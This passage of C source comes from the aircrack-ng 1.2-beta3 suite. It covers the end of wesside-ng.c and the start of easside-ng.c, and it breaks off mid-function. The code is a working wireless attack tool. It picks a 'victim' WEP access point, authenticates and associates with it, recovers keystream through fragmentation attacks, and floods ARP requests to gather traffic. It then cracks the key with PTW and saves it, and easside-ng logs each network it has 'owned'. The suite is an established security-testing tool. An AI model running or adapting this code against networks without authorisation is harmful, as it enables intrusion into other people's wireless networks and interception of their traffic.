IEEE80211_SEQ_FRAG_MASK; // printf ("Sent frag (data=%d) (seq=%d fn=%d)\n", fragsize, sn, fn); send_frame(ws, buf, sizeof(*wh) + 4 + fragsize+4); seq = (unsigned short*) &fs->fs_wh.i_seq; *seq = fnseq(++fn, sn); fs->fs_ptr += fragsize; if (fs->fs_ptr - fs->fs_data == fs->fs_len) { // printf("Finished sending frags...\n"); fs->fs_waiting_relay = 1; } } static void prepare_fragstate(struct wstate *ws, struct frag_state* fs, int pad) { fs->fs_waiting_relay = 0; fs->fs_len = 8 + 8 + 20 + pad; fs->fs_data = (unsigned char*) malloc(fs->fs_len); if(!fs->fs_data) { perror("malloc()"); exit(1); } fs->fs_ptr = fs->fs_data; do_llc(fs->fs_data, ETHERTYPE_ARP); do_arp(&fs->fs_data[8], ARPOP_REQUEST, ws->ws_mymac, ws->ws_myip, (unsigned char*) "\x00\x00\x00\x00\x00\x00", "192.168.0.1"); memset(&fs->fs_wh, 0, sizeof(fs->fs_wh)); fill_basic(ws, &fs->fs_wh); memset(fs->fs_wh.i_addr3, 0xff, 6); fs->fs_wh.i_fc[0] |= IEEE80211_FC0_TYPE_DATA; fs->fs_wh.i_fc[1] |= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_MORE_FRAG | IEEE80211_FC1_WEP; memset(&fs->fs_data[8+8+20], 0, pad); } static void discover_prga(struct wstate *ws) { // create packet... if (!ws->ws_fs.fs_data) { int pad = 0; if (ws->ws_pi.pi_len >= 20) pad = ws->ws_pi.pi_len*3; prepare_fragstate(ws, &ws->ws_fs, pad); } if (!ws->ws_fs.fs_waiting_relay) { send_fragment(ws, &ws->ws_fs, &ws->ws_pi); if (ws->ws_fs.fs_waiting_relay) { if (gettimeofday(&ws->ws_fs.fs_last, NULL) == -1) err(1, "gettimeofday()"); } } } static void decrypt(struct wstate *ws) { // gotta initiate if (!ws->ws_dfs.fs_data) { prepare_fragstate(ws, &ws->ws_dfs, 0); memcpy(ws->ws_dfs.fs_wh.i_addr3, MCAST_PREF, 5); ws->ws_dfs.fs_wh.i_addr3[5] = ws->ws_dpi.pi_prga[ws->ws_dpi.pi_len-1]; ws->ws_dpi.pi_len++; } // guess diff prga byte... if (ws->ws_dfs.fs_waiting_relay) { unsigned short seq; ws->ws_dpi.pi_prga[ws->ws_dpi.pi_len-1]++; ws->ws_dfs.fs_wh.i_addr3[5] = ws->ws_dpi.pi_prga[ws->ws_dpi.pi_len-1]; ws->ws_dfs.fs_waiting_relay = 0; ws->ws_dfs.fs_ptr = ws->ws_dfs.fs_data; seq = fnseq(0, ws->ws_psent); ws->ws_dfs.fs_wh.i_seq[0] = (u_int8_t)(seq >> 8); ws->ws_dfs.fs_wh.i_seq[1] = (u_int8_t)(seq % 256); //seq = (unsigned short*) &ws->ws_dfs.fs_wh.i_seq; //*seq = fnseq(0, ws->ws_psent); } send_fragment(ws, &ws->ws_dfs, &ws->ws_dpi); } static void send_arp(struct wstate *ws, unsigned short op, char* srcip, unsigned char* srcmac, char* dstip, unsigned char* dstmac) { static unsigned char arp_pkt[128]; unsigned char* body; unsigned char* ptr; struct ieee80211_frame* wh; int arp_len; memset(arp_pkt, 0, sizeof(arp_pkt)); // construct ARP wh = (struct ieee80211_frame*) arp_pkt; fill_basic(ws, wh); wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA; wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS; memset(wh->i_addr3, 0xff, 6); body = (unsigned char*) wh + sizeof(*wh); ptr = body; ptr += 4; // iv do_llc(ptr, ETHERTYPE_ARP); ptr += 8; do_arp(ptr, op, srcmac, srcip, dstmac, dstip); wepify(ws, body, 8+8+20); arp_len = sizeof(*wh) + 4 + 8 + 8 + 20 + 4; assert(arp_len < (int)sizeof(arp_pkt)); send_frame(ws, arp_pkt, arp_len); } static int find_mac(struct wstate *ws) { if (!(ws->ws_netip && !ws->ws_rtrmac)) return 0; if (gettimeofday(&ws->ws_arpsend, NULL) == -1) err(1, "gettimeofday()"); time_print("Sending arp request for: %s\n", ws->ws_netip); send_arp(ws, ARPOP_REQUEST, ws->ws_myip, ws->ws_mymac, ws->ws_netip, (unsigned char *) "\x00\x00\x00\x00\x00\x00"); // XXX lame ws->ws_rtrmac = (unsigned char*)1; return 1; } static int flood(struct wstate *ws) { if (!(ws->ws_rtrmac > (unsigned char*)1 && ws->ws_netip)) return 0; // could ping broadcast.... send_arp(ws, ARPOP_REQUEST, ws->ws_myip, ws->ws_mymac, ws->ws_netip, (unsigned char*) "\x00\x00\x00\x00\x00\x00"); return 1; } static void can_write(struct wstate *ws) { switch (ws->ws_state) { case FOUND_VICTIM: send_auth(ws); ws->ws_state = SENDING_AUTH; break; case GOT_AUTH: send_assoc(ws); ws->ws_state = SENDING_ASSOC; break; case GOT_ASSOC: if (ws->ws_pi.pi_prga && ws->ws_pi.pi_len < ws->ws_min_prga) { discover_prga(ws); break; } if (ws->ws_cipher) { decrypt(ws); break; } if (!ws->ws_pi.pi_prga) break; // try to find rtr mac addr if (find_mac(ws)) break; // need to generate traffic... if (flood(ws)) break; break; } } static void save_key(unsigned char *key, int len) { char tmp[16]; char k[64]; int fd; int rd; assert(len*3 < (int)sizeof(k)); k[0] = 0; while (len--) { snprintf(tmp, 3, "%.2X", *key++); strncat(k, tmp, 2); if (len) strncat(k, ":", 1); } fd = open(KEY_FILE, O_WRONLY | O_CREAT, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH); if (fd == -1) err(1, "open()"); printf("\nKey: %s\n", k); rd = write(fd, k, strlen(k)); if (rd == -1) err(1, "write()"); if (rd != (int) strlen(k)) errx(1, "write %d/%d\n", rd, (int) strlen(k)); close(fd); } static int do_crack(struct wstate *ws) { unsigned char key[PTW_KEYHSBYTES]; int (* all)[256]; int i,j; all = malloc(256*32*sizeof(int)); if (all == NULL) { return 1; } //initial setup (complete keyspace) for (i = 0; i < 32; i++) { for (j = 0; j < 256; j++) { all[i][j] = 1; } } if(PTW_computeKey(ws->ws_ptw, key, 13, KEYLIMIT, PTW_DEFAULTBF, all, 0) == 1) { save_key(key, 13); return 1; } if(PTW_computeKey(ws->ws_ptw, key, 5, KEYLIMIT/10, PTW_DEFAULTBF, all, 0) == 1) { save_key(key, 5); return 1; } return 0; } static void sigchild(int x) { struct wstate *ws; if (x) {} /* XXX unused */ ws = get_ws(); ws->ws_crack_pid = 0; /* crack done */ } static void try_crack(struct wstate *ws) { if (ws->ws_crack_pid) { printf("\n"); time_print("Warning... previous crack still running!\n"); kill_crack(ws); } if (ws->ws_fd) { if (fsync(ws->ws_fd) == -1) err(1, "fsync"); } ws->ws_crack_pid = fork(); if (ws->ws_crack_pid == -1) err(1, "fork"); // child if (ws->ws_crack_pid == 0) { if (!do_crack(ws)) { printf("\n"); time_print("Crack unsuccessful\n"); } exit(1); } // parent printf("\n"); time_print("Starting crack PID=%d\n", ws->ws_crack_pid); if (gettimeofday(&ws->ws_crack_start, NULL) == -1) err(1, "gettimeofday"); ws->ws_wep_thresh += ws->ws_thresh_incr; } static int elapsedd(struct timeval *past, struct timeval *now) { int el; int inf = 666*1000*1000; el = now->tv_sec - past->tv_sec; if (el == 0) { el = now->tv_usec - past->tv_usec; } else { el = (el - 1)*1000*1000; el += 1000*1000-past->tv_usec; el += now->tv_usec; } if (el < 0) return inf; return el; } static int read_packet(struct wstate *ws, unsigned char *dst, int len) { return wi_read(ws->ws_wi, dst, len, NULL); } static void open_wepfile(struct wstate *ws) { ws->ws_fd = open(WEP_FILE, O_WRONLY | O_APPEND); if (ws->ws_fd == -1) { struct pcap_file_header pfh; memset(&pfh, 0, sizeof(pfh)); pfh.magic = TCPDUMP_MAGIC; pfh.version_major = PCAP_VERSION_MAJOR; pfh.version_minor = PCAP_VERSION_MINOR; pfh.thiszone = 0; pfh.sigfigs = 0; pfh.snaplen = 65535; pfh.linktype = LINKTYPE_IEEE802_11; ws->ws_fd = open(WEP_FILE, O_WRONLY | O_CREAT, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH); if (ws->ws_fd != -1) { if (write(ws->ws_fd, &pfh, sizeof(pfh)) != sizeof(pfh)) err(1, "write()"); } } else { time_print("WARNING: Appending in %s\n", WEP_FILE); } if (ws->ws_fd == -1) err(1, "open()"); } static void load_prga(struct wstate *ws) { int fd, rd; unsigned char buf[4096]; fd = open(PRGA_FILE, O_RDONLY); if (fd != -1) { time_print("WARNING: reading prga from %s\n", PRGA_FILE); rd = read(fd, buf, sizeof(buf)); if (rd == -1) { perror("read()"); exit(1); } if (rd >= 8) { set_prga(ws, buf, NULL, &buf[3], rd - 3); } close(fd); } } static void check_relay_timeout(struct wstate *ws, struct timeval *now) { int el; if (!ws->ws_fs.fs_waiting_relay) return; el = elapsedd(&ws->ws_fs.fs_last, now); if (el > (1500*1000)) { // printf("\nLAMER timeout\n\n"); free(ws->ws_fs.fs_data); ws->ws_fs.fs_data = 0; } } static void check_arp_timeout(struct wstate *ws, struct timeval *now) { int el; if (ws->ws_rtrmac != (unsigned char*) 1) return; el = elapsedd(&ws->ws_arpsend, now); if (el >= (1500*1000)) { ws->ws_rtrmac = 0; } } static void display_status_bar(struct wstate *ws, struct timeval *now, struct timeval *last_status, char *pbarp) { int el; el = elapsedd(last_status, now); if (el < 100*1000) return; if (ws->ws_crack_pid) check_key(ws); if (ws->ws_netip && ws->ws_pi.pi_len >= ws->ws_min_prga && ws->ws_rtrmac > (unsigned char*) 1) { time_print("WEP=%.9d (next crack at %d) " "IV=%.2x:%.2x:%.2x (rate=%d) \r", ws->ws_packets, ws->ws_wep_thresh, ws->ws_iv[0], ws->ws_iv[1], ws->ws_iv[2], ws->ws_rate); } else { if (ws->ws_state == FIND_VICTIM) { time_print("Chan %.02d %c\r", ws->ws_chan, *pbarp); } else if (ws->ws_cipher) { int pos = ws->ws_dpi.pi_len - 1; unsigned char prga = ws->ws_dpi.pi_prga[pos]; assert(pos); time_print("Guessing PRGA %.2x (IP byte=%d) \r", prga, ws->ws_cipher[pos] ^ prga); } else time_print("%c\r", *pbarp); } fflush(stdout); memcpy(last_status, now, sizeof(*last_status)); } static void check_tx(struct wstate *ws, struct timeval *now) { int elapsed; if (!ws->ws_waiting_ack) return; elapsed = elapsedd(&ws->ws_tsent, now); if (elapsed >= (int)ws->ws_ack_timeout) send_frame(ws, NULL, -1); } static void check_hop(struct wstate *ws, struct timeval *now) { int elapsed; int chan = ws->ws_chan; elapsed = elapsedd(&ws->ws_lasthop, now); if (elapsed < 300*1000) return; chan++; if(chan > ws->ws_max_chan) chan = 1; set_chan(ws, chan); memcpy(&ws->ws_lasthop, now, sizeof(ws->ws_lasthop)); } static void post_input(struct wstate *ws, struct timeval *now) { int el; // check state and what we do next. if (ws->ws_state == FIND_VICTIM) { check_hop(ws, now); return; } // check if we need to write something... if (!ws->ws_waiting_ack) can_write(ws); el = elapsedd(&ws->ws_last_wcount, now); /* calculate rate, roughtly */ if (el < 1*1000*1000) return; ws->ws_rate = ws->ws_packets - ws->ws_last_wep_count; ws->ws_last_wep_count = ws->ws_packets; memcpy(&ws->ws_last_wcount, now, sizeof(ws->ws_last_wcount)); if (ws->ws_wep_thresh != -1 && ws->ws_packets > (unsigned int) ws->ws_wep_thresh) try_crack(ws); } static void do_input(struct wstate *ws) { unsigned char buf[4096]; int rd; rd = read_packet(ws, buf, sizeof(buf)); if (rd == 0) return; if (rd == -1) { perror("read()"); exit(1); } // input anal(ws, buf, rd); } static void own(struct wstate *ws) { int rd; fd_set rfd; struct timeval tv; char *pbar = "/-\\|"; char *pbarp = &pbar[0]; struct timeval now; struct timeval last_status; int largest; int wifd; wifd = wi_fd(ws->ws_wi); open_wepfile(ws); load_prga(ws); largest = wi_fd(ws->ws_wi); if (signal(SIGINT, &cleanup) == SIG_ERR) { perror("signal()"); exit(1); } if (signal (SIGTERM, &cleanup) == SIG_ERR) { perror("signal()"); exit(1); } if (signal (SIGCHLD, &sigchild) == SIG_ERR) { perror("signal()"); exit(1); } time_print("Looking for a victim...\n"); if (gettimeofday(&ws->ws_lasthop, NULL) == -1) { perror("gettimeofday()"); exit(1); } memcpy(&ws->ws_last_wcount, &ws->ws_lasthop, sizeof(ws->ws_last_wcount)); memcpy(&last_status, &ws->ws_lasthop, sizeof(last_status)); while (1) { if (gettimeofday(&now, NULL) == -1) { perror("gettimeofday()"); exit(1); } /* check for relay timeout */ check_relay_timeout(ws, &now); /* check for arp timeout */ check_arp_timeout(ws, &now); // status bar display_status_bar(ws, &now, &last_status, pbarp); // check if we are cracking if (ws->ws_crack_pid) { if ((now.tv_sec - ws->ws_crack_start.tv_sec) >= ws->ws_crack_dur) kill_crack(ws); } // check TX / retransmit check_tx(ws, &now); // INPUT // select FD_ZERO(&rfd); FD_SET(wifd, &rfd); tv.tv_sec = 0; tv.tv_usec = 1000*10; rd = select(largest+1, &rfd, NULL, NULL, &tv); if (rd == -1) { switch (errno) { case EINTR: /* handle SIGCHLD */ break; default: perror("select()"); exit(1); break; } } // read if (rd != 0 && FD_ISSET(wifd, &rfd)) { /* update status */ pbarp++; if(!(*pbarp)) pbarp = &pbar[0]; do_input(ws); } post_input(ws, &now); } } static void start(struct wstate *ws, char *dev) { struct wif *wi; ws->ws_wi = wi = wi_open(dev); if (!wi) err(1, "wi_open(%s)", dev); if (!ws->ws_have_mac) { if (wi_get_mac(wi, ws->ws_mymac) == -1) printf("Can't get mac\n"); } else { if (wi_set_mac(wi, ws->ws_mymac) == -1) printf("Can't set mac\n"); } time_print("Using mac %s\n", mac2str(ws->ws_mymac)); ws->ws_ptw = PTW_newattackstate(); if (!ws->ws_ptw) err(1, "PTW_newattackstate()"); own(ws); wi_close(wi); } static void usage(char* pname) { if (pname) {} printf("\n" " %s - (C) 2007, 2008, 2009 Andrea Bittau\n" " http://www.aircrack-ng.org\n" "\n" " Usage: wesside-ng \n" "\n" " Options:\n" "\n" " -h : This help screen\n" " -i : Interface to use (mandatory)\n" " -m : My IP address\n" " -n : Network IP address\n" " -a : Source MAC Address\n" " -c : Do not crack the key\n" " -p : Minimum bytes of PRGA to gather\n" " -v : Victim BSSID\n" " -t : Cracking threshold\n" " -f : Highest scanned chan (default: 11)\n" " -k : Ignore acks and tx txnum times\n" "\n", getVersion("Wesside-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC)); exit(0); } static void str2mac(unsigned char* dst, char* mac) { unsigned int macf[6]; int i; if( sscanf(mac, "%x:%x:%x:%x:%x:%x", &macf[0], &macf[1], &macf[2], &macf[3], &macf[4], &macf[5]) != 6) { printf("can't parse mac %s\n", mac); exit(1); } for (i = 0; i < 6; i++) *dst++ = (unsigned char) macf[i]; } static void init_defaults(struct wstate *ws) { memset(ws, 0, sizeof(*ws)); ws->ws_state = FIND_VICTIM; ws->ws_max_chan = 11; memcpy(ws->ws_mymac, "\x00\x00\xde\xfa\xce\x0d", 6); ws->ws_have_mac = 0; strncpy(ws->ws_myip, "192.168.0.123", sizeof(ws->ws_myip)-1); ws->ws_ack_timeout = 100*1000; ws->ws_min_prga = 128; ws->ws_wep_thresh = ws->ws_thresh_incr = 10000; ws->ws_crack_dur = 60; } int main(int argc, char *argv[]) { struct wstate *ws = get_ws(); int ch; unsigned char vic[6]; char* dev = "IdidNotSpecifyAnInterface"; assert(ws); init_defaults(ws); if (gettimeofday(&ws->ws_real_start, NULL) == -1) { perror("gettimeofday()"); exit(1); } while ((ch = getopt(argc, argv, "hi:m:a:n:cp:v:t:f:k:")) != -1) { switch (ch) { case 'k': ws->ws_ignore_ack = atoi(optarg); break; case 'a': str2mac(ws->ws_mymac, optarg); ws->ws_have_mac = 1; break; case 'i': dev = optarg; break; case 'm': strncpy(ws->ws_myip, optarg, sizeof(ws->ws_myip)-1); ws->ws_myip[sizeof(ws->ws_myip)-1] = 0; break; case 'n': ws->ws_netip = optarg; break; case 'v': str2mac(vic, optarg); ws->ws_victim_mac = vic; break; case 'c': ws->ws_wep_thresh = -1; break; case 'p': ws->ws_min_prga = atoi(optarg); break; case 't': ws->ws_thresh_incr = ws->ws_wep_thresh = atoi(optarg); break; case 'f': ws->ws_max_chan = atoi(optarg); break; default: usage(argv[0]); break; } } if (argc > 1) start(ws, dev); else usage(argv[0]); cleanup(0); exit(0); } aircrack-ng-1.2-beta3/src/easside-ng.c0000644000000000000000000014630711355271630016217 0ustar rootroot /* * Copyright (c) 2007, 2008, 2009 Andrea Bittau * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define __FAVOR_BSD #include #undef __FAVOR_BSD #include "osdep/osdep.h" #include "ieee80211.h" #include "easside.h" #include "if_arp.h" #include "ethernet.h" #include "version.h" #include "osdep/byteorder.h" #define S_MTU 1500 #define S_MCAST "\x01\x00\x5e\x01\x00" #define S_LLC_SNAP "\xAA\xAA\x03\x00\x00\x00" #define S_LLC_SNAP_ARP (S_LLC_SNAP "\x08\x06") #define S_LLC_SNAP_IP (S_LLC_SNAP "\x08\x00") #define S_PRGA_LOG "prga.log" #define S_OWN_LOG "own.log" #define S_MIN_RTO 10 extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc); enum { S_SEARCHING = 0, S_SENDAUTH, S_SENDASSOC, S_ASSOCIATED }; enum { AS_NOPRGA = 0, AS_PRGA_EXPAND, AS_FIND_IP, AS_DECRYPT_ARP, AS_DECRYPT_IP, AS_FIND_RTR_MAC, AS_CHECK_INET, AS_REDIRECT }; struct rpacket { unsigned char rp_packet[2048]; int rp_len; int rp_id; struct rpacket *rp_next; }; struct owned { unsigned char ow_mac[6]; struct owned *ow_next; }; struct east_state { /* conf & params */ char es_ifname[256]; unsigned char es_mymac[6]; int es_setmac; int es_iponly; struct wif *es_wi; char es_tapname[16]; struct tif *es_ti; unsigned int es_hopfreq; int es_txto_mgt; int es_txto_expand; int es_expand_factor; int es_txto_decrypt; int es_port; int es_udp_port; int es_txto_whohas; int es_txto_checkinet; int es_txto_redirect; unsigned char es_clear[S_MTU+4]; struct rpacket *es_rqueue; struct owned *es_owned; int es_chanlock; /* state */ unsigned char es_apmac[6]; int es_apchan; char es_apssid[256]; int es_state; struct timeval es_lasthop; int es_txseq; struct timeval es_txlast; unsigned char es_prga[S_MTU+4]; unsigned char *es_clearp; unsigned char *es_clearpnext; int es_prgalen; unsigned char es_iv[3]; int es_expand_num; int es_expand_len; int es_txack; unsigned char es_prga_d[S_MTU+4]; int es_prga_dlen; unsigned char es_prga_div[3]; unsigned char es_packet[2048]; int es_have_packet; int es_have_src; unsigned char es_packet_arp[2048]; int es_have_arp; struct in_addr es_myip; struct in_addr es_rtrip; struct in_addr es_pubip; unsigned char es_rtrmac[6]; struct in_addr es_srvip; int es_buddys; unsigned short es_rpacket_id; struct timeval es_rtt; unsigned short es_rtt_id; int es_srtt; int es_rxseq; int es_astate; }; static struct east_state _es; void printf_time(char *fmt, ...) { va_list ap; struct timeval now; time_t t; struct tm *tm; if (gettimeofday(&now, NULL) == -1) err(1, "gettimeofday()"); t = time(NULL); if (t == (time_t)-1) err(1, "time()"); tm = localtime(&t); if (!tm) err(1, "localtime()"); printf("[%.2d:%.2d:%.2d.%.6lu] ", tm->tm_hour, tm->tm_min, tm->tm_sec, (long unsigned int)now.tv_usec); va_start(ap, fmt); vprintf(fmt, ap); va_end(ap); } void hexdump(void *x, int len) { unsigned char *p = x; while (len--) printf("%.2X ", *p++); printf("\n"); } void mac2str(char *str, unsigned char* m, int macsize) { snprintf(str, macsize, "%.2X:%.2X:%.2X:%.2X:%.2X:%.2X", m[0], m[1], m[2], m[3], m[4], m[5]); } int str2mac(unsigned char *mac, char *str) { unsigned int macf[6]; int i; if (sscanf(str, "%x:%x:%x:%x:%x:%x", &macf[0], &macf[1], &macf[2], &macf[3], &macf[4], &macf[5]) != 6) return -1; for (i = 0; i < 6; i++) *mac++ = (char) macf[i]; return 0; } void init_defaults(struct east_state *es) { memset(es, 0, sizeof(*es)); memcpy(es->es_mymac, "\x00\x00\xde\xfa\xce\x0d", 6); es->es_setmac = 0; strncpy(es->es_ifname, "specify_interface", sizeof(es->es_ifname)-1); es->es_state = S_SEARCHING; es->es_hopfreq = 100; /* ms */ es->es_txto_mgt = 100; /* ms */ es->es_txto_expand = 100; es->es_expand_factor = 3; memcpy(es->es_clear, "\xAA\xAA\x03\x00\x00\x00\x08\x06", 8); es->es_clearpnext = es->es_clearp = es->es_clear; es->es_txto_decrypt = 10; es->es_txto_whohas = 500; es->es_txto_checkinet = 2000; es->es_txto_redirect = 2000; es->es_port = S_DEFAULT_PORT; es->es_udp_port = S_DEFAULT_UDP_PORT; } void reset(struct east_state *es) { int sz; void *ptr; struct rpacket *p; struct owned *ow; FILE *f; char mac[18]; /* close buddy */ close(es->es_buddys); es->es_buddys = 0; /* reset state */ ptr = es->es_apmac; sz = sizeof(*es) - ((unsigned long)ptr - (unsigned long)es); memset(ptr, 0, sz); /* fixup state */ es->es_clearpnext = es->es_clearp = es->es_clear; p = es->es_rqueue; while (p) { p->rp_len = 0; p = p->rp_next; } /* log ownage */ ow = malloc(sizeof(*ow)); if (!ow) err(1, "malloc()"); memset(ow, 0, sizeof(*ow)); memcpy(ow->ow_mac, es->es_apmac, sizeof(ow->ow_mac)); ow->ow_next = es->es_owned; es->es_owned = ow; f = fopen(S_OWN_LOG, "a"); if (!f) err(1, "fopen()"); mac2str(mac, es->es_apmac, sizeof(mac)); fprintf(f, "%s %d %s %s\n", mac, es->es_apchan, es->es_apssid, inet_ntoa(es->es_pubip)); fclose(f); /* start over */ es->es_state = S_SEARCHING; printf_time("Restarting"); } /********** RIPPED ************/ unsigned short in_cksum (unsigned short *ptr, int nbytes) { register long sum; u_short oddbyte; register u_short answer; sum = 0; while (nbytes > 1) { sum += *ptr++; nbytes -= 2; } if (nbytes == 1) { oddbyte = 0; *((u_char *) & oddbyte) = *(u_char *) ptr; sum += oddbyte; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return (answer); } /************** ************/ void open_wifi(struct east_state *es) { struct wif *wi; wi = wi_open(es->es_ifname); if (!wi) err(1, "wi_open()"); assert(es->es_wi == NULL); es->es_wi = wi; } void open_tap(struct east_state *es) { struct tif *ti; char *iface = NULL; if (es->es_tapname[0]) iface = es->es_tapname; ti = ti_open(iface); if (!ti) err(1, "ti_open()"); strncpy(es->es_tapname, ti_name(ti), sizeof(es->es_tapname) - 1); es->es_tapname[sizeof(es->es_tapname) - 1] = 0; printf("Setting tap MTU\n"); if (ti_set_mtu(ti, S_MTU - 50) == -1) err(1, "ti_set_mtu()"); es->es_ti = ti; } void set_mac(struct east_state *es) { printf("Sorting out wifi MAC\n"); if (!es->es_setmac) { char mac[18]; if (wi_get_mac(es->es_wi, es->es_mymac) == -1) err(1, "wi_get_mac()"); mac2str(mac, es->es_mymac, sizeof(mac)); printf("MAC is %s\n", mac); } else if (wi_set_mac(es->es_wi, es->es_mymac) == -1) err(1, "wi_set_mac()"); printf("Setting tap MAC\n"); if (ti_set_mac(es->es_ti, es->es_mymac) == -1) err(1, "ti_set_mac()"); } void set_tap_ip(struct east_state *es) { if (ti_set_ip(es->es_ti, &es->es_myip) == -1) err(1, "ti_set_ip()"); } void die(char *m) { struct east_state *es = &_es; printf("Dying: %s\n", m); if (es->es_wi) wi_close(es->es_wi); if (es->es_ti) ti_close(es->es_ti); exit(0); } void sighand(int sig) { if (sig) {} /* XXX unused */ die("signal"); } void set_chan(struct east_state *es) { int chan = es->es_chanlock ? es->es_chanlock : es->es_apchan; if (wi_set_channel(es->es_wi, chan) == -1) err(1, "wi_set_channel"); } void clear_timeout(struct east_state *es) { memset(&es->es_txlast, 0, sizeof(es->es_txlast)); } void read_beacon(struct east_state *es, struct ieee80211_frame *wh, int len) { ieee80211_mgt_beacon_t b = (ieee80211_mgt_beacon_t) (wh+1); u_int16_t capa; int bhlen = 12; int got_ssid = 0, got_channel = 0; struct owned *own = es->es_owned; len -= sizeof(*wh) + bhlen; if (len < 0) { printf("Short beacon %d\n", len); return; } if (es->es_state != S_SEARCHING) return; /* only wep */ capa = IEEE80211_BEACON_CAPABILITY(b); if (!((capa & IEEE80211_CAPINFO_PRIVACY) && (capa & IEEE80211_CAPINFO_ESS))) return; /* lookin for a specific dude */ if (memcmp(es->es_apmac, "\x00\x00\x00\x00\x00\x00", 6) != 0) { if (memcmp(es->es_apmac, wh->i_addr3, 6) != 0) return; } /* check if we already owned him */ while (own) { if (memcmp(wh->i_addr3, own->ow_mac, 6) == 0) return; own = own->ow_next; } /* SSID and channel */ b += bhlen; while (len > 1) { unsigned char ie_len = b[1]; len -= 2 + ie_len; if (len < 0) { printf("Short IE %d %d\n", len, ie_len); return; } switch (b[0]) { case IEEE80211_ELEMID_SSID: if (!got_ssid) { strncpy(es->es_apssid, (char*) &b[2], ie_len); es->es_apssid[ie_len] = 0; if (strlen(es->es_apssid)) got_ssid = 1; } break; case IEEE80211_ELEMID_DSPARMS: if (!got_channel) got_channel = b[2]; break; } if (got_ssid && got_channel) { char str[18]; memcpy(es->es_apmac, wh->i_addr3, sizeof(es->es_apmac)); es->es_apchan = got_channel; es->es_state = S_SENDAUTH; mac2str(str, es->es_apmac, sizeof(str)); printf("\nSSID %s Chan %d Mac %s\n", es->es_apssid, es->es_apchan, str); if (!es->es_chanlock) set_chan(es); return; } b += 2 + ie_len; } } int for_me_and_from_ap(struct east_state *es, struct ieee80211_frame *wh) { if (memcmp(wh->i_addr1, es->es_mymac, 6) != 0) return 0; if (memcmp(wh->i_addr2, es->es_apmac, 6) != 0) return 0; return 1; } void read_auth(struct east_state *es, struct ieee80211_frame *wh, int len) { unsigned short *sp = (unsigned short*) (wh+1); if (len) {} /* XXX unused */ if (es->es_state != S_SENDAUTH) return; if (!for_me_and_from_ap(es, wh)) return; if (le16toh(*sp) != 0) { printf("weird auth algo: %d\n", le16toh(*sp)); return; } sp++; if (le16toh(*sp) != 2) { printf("weird auth transno: %d\n", le16toh(*sp)); return; } sp++; if (le16toh(*sp) != 0) { printf("Auth unsuccesful %d\n", le16toh(*sp)); exit(1); } printf("Authenticated\n"); es->es_state = S_SENDASSOC; } int is_dup(struct east_state *es, struct ieee80211_frame *wh) { unsigned short *sn = (unsigned short*) &wh->i_seq[0]; unsigned short s; s = (le16toh(*sn) & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT; if (s == es->es_rxseq) return 1; es->es_rxseq = s; return 0; } void read_deauth(struct east_state *es, struct ieee80211_frame *wh, int len) { unsigned short *sp = (unsigned short*) (wh+1); if (len) {} /* XXX unused */ if (!for_me_and_from_ap(es, wh)) return; if (is_dup(es, wh)) return; printf("Deauth: %d\n", le16toh(*sp)); es->es_state = S_SENDAUTH; } void read_disassoc(struct east_state *es, struct ieee80211_frame *wh, int len) { unsigned short *sp = (unsigned short*) (wh+1); if (len) {} /* XXX unused */ if (!for_me_and_from_ap(es, wh)) return; if (is_dup(es, wh)) return; printf("Disassoc: %d\n", le16toh(*sp)); es->es_state = S_SENDASSOC; } void read_assoc_resp(struct east_state *es, struct ieee80211_frame *wh, int len) { unsigned short *sp = (unsigned short*) (wh+1); if (len) {} /* XXX unused */ if (es->es_state != S_SENDASSOC) return; if (!for_me_and_from_ap(es, wh)) return; sp++; /* capa */ /* sc */ if (le16toh(*sp) != 0) { printf("Assoc unsuccessful %d\n", le16toh(*sp)); exit(1); } sp++; printf("Associated: %d\n", IEEE80211_AID(le16toh(*sp))); es->es_state = S_ASSOCIATED; es->es_txack = 0; es->es_expand_num = -1; } void read_mgt(struct east_state *es, struct ieee80211_frame *wh, int len) { if (len < (int) sizeof(*wh)) { printf("Short mgt %d\n", len); return; } switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK) { case IEEE80211_FC0_SUBTYPE_BEACON: case IEEE80211_FC0_SUBTYPE_PROBE_RESP: read_beacon(es, wh, len); break; case IEEE80211_FC0_SUBTYPE_AUTH: read_auth(es, wh, len); break; case IEEE80211_FC0_SUBTYPE_PROBE_REQ: case IEEE80211_FC0_SUBTYPE_ASSOC_REQ: break; case IEEE80211_FC0_SUBTYPE_DEAUTH: read_deauth(es, wh, len); break; case IEEE80211_FC0_SUBTYPE_DISASSOC: read_disassoc(es, wh, len); break; case IEEE80211_FC0_SUBTYPE_ASSOC_RESP: read_assoc_resp(es, wh, len); break; default: printf("Unknown mgmt subtype %x\n", wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK); break; } } void read_ack(struct east_state *es, struct ieee80211_frame *wh, int len) { if (len) {} /* XXX unused */ if (memcmp(wh->i_addr1, es->es_mymac, sizeof(wh->i_addr1)) != 0) return; es->es_txack = 1; // printf("Ack\n"); } void read_ctl(struct east_state *es, struct ieee80211_frame *wh, int len) { switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK) { case IEEE80211_FC0_SUBTYPE_ACK: read_ack(es, wh, len); break; case IEEE80211_FC0_SUBTYPE_RTS: case IEEE80211_FC0_SUBTYPE_CTS: case IEEE80211_FC0_SUBTYPE_PS_POLL: case IEEE80211_FC0_SUBTYPE_CF_END: break; default: printf("Unknown ctl subtype %x\n", wh->i_fc[0] & 